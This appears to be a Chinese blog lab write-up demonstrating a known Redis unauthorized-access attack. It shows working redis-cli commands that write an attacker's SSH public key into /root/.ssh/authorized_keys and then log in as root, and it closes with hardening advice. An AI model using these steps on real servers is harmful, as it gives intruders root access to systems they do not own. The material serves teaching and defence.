redis攻擊遠程登錄

關於Redis的問題,其實早在之前就已經公佈,跟MongoDB一樣也是默認監聽了公網IP端口以及沒加認證以及使用root用戶啓動造成的。

準備兩臺機器
10.10.0.122 攻擊的服務器,測試機
10.0.0.91 啓動redis,開放公網,無密碼,root啓動,默認端口
生成自己的公私鑰,輸入ssh-keygen命令(一路回車就好,大神忽略)

在122機器上遠程連接redis

[root@localhost ~]# cat /root/.ssh/id_rsa.pub | redis-cli -h 10.10.0.91 -p 6379 -x set ssh-key
OK
[root@localhost ~]# redis-cli -h 10.10.0.91
10.10.0.91:6379> get ssh-key
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqmQvQsc7PWmZX6AQU03vnuU1N5JlptmK6dmbT/HZeVrfb2kVtdUV9Nqndf3VSi7OWPZVP2lYgg17EpGk4LOGrh0lq05asSkbYImt7wLGT6ccp7jlfaybqQ3P1RVrJyrZq339eZ8sbGYzvWV/MEZGxgpKzqOfT6797si92P6Ba+9GHkFWifM/X138HFRK1tPtQMvRs5Sb/atOMHLI1+pXthPZyz8IcoN6BbD56SKZuK0bie+nLPEmbxeVXAM0Leq26wSW1XHhhKaFfRSZspl0LZGNramzgRyAmvE8jD4qs0tmWkB+FcvEmBYyCJ/q9BmzSi+E24tlcQ+aG7GoUr5N [email protected]\n"
10.10.0.91:6379> CONFIG SET dir /root/.ssh
OK
10.10.0.91:6379> CONFIG SET dbfilename "authorized_keys"
OK
10.10.0.91:6379> save
OK
10.10.0.91:6379> 

這裏就出現問題了,因爲這裏的ssh-key的最前面沒有加回車,這樣導致authorized_keys文件中的ssh行前面跟着redis的字符串內容,認證的內容就失敗了,簡單的就是在ssh-key的value前加兩個換行,或者將/root/.ssh/id_rsa.pub中的公鑰前手動加兩個換行(一個換行不行,測試過了,一個換行不滿足ssh文件格式)

[root@localhost ~]# redis-cli -h 10.10.0.91
10.10.0.91:6379> get ssh-key
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqmQvQsc7PWmZX6AQU03vnuU1N5JlptmK6dmbT/HZeVrfb2kVtdUV9Nqndf3VSi7OWPZVP2lYgg17EpGk4LOGrh0lq05asSkbYImt7wLGT6ccp7jlfaybqQ3P1RVrJyrZq339eZ8sbGYzvWV/MEZGxgpKzqOfT6797si92P6Ba+9GHkFWifM/X138HFRK1tPtQMvRs5Sb/atOMHLI1+pXthPZyz8IcoN6BbD56SKZuK0bie+nLPEmbxeVXAM0Leq26wSW1XHhhKaFfRSZspl0LZGNramzgRyAmvE8jD4qs0tmWkB+FcvEmBYyCJ/q9BmzSi+E24tlcQ+aG7GoUr5N [email protected]\n"
10.10.0.91:6379> 

重新設定後

[root@localhost ~]# ssh [email protected]
Last failed login: Tue Sep 11 17:46:26 CST 2018 from 10.10.0.122 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Tue Sep 11 17:08:40 2018 from 10.10.0.122
[root@localhost ~]# 

所以
1. redis還是不要對公網開放,最好修改默認端口
2. redis要加密,不要使用若密碼
3. redis的執行用戶最好不要是root

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章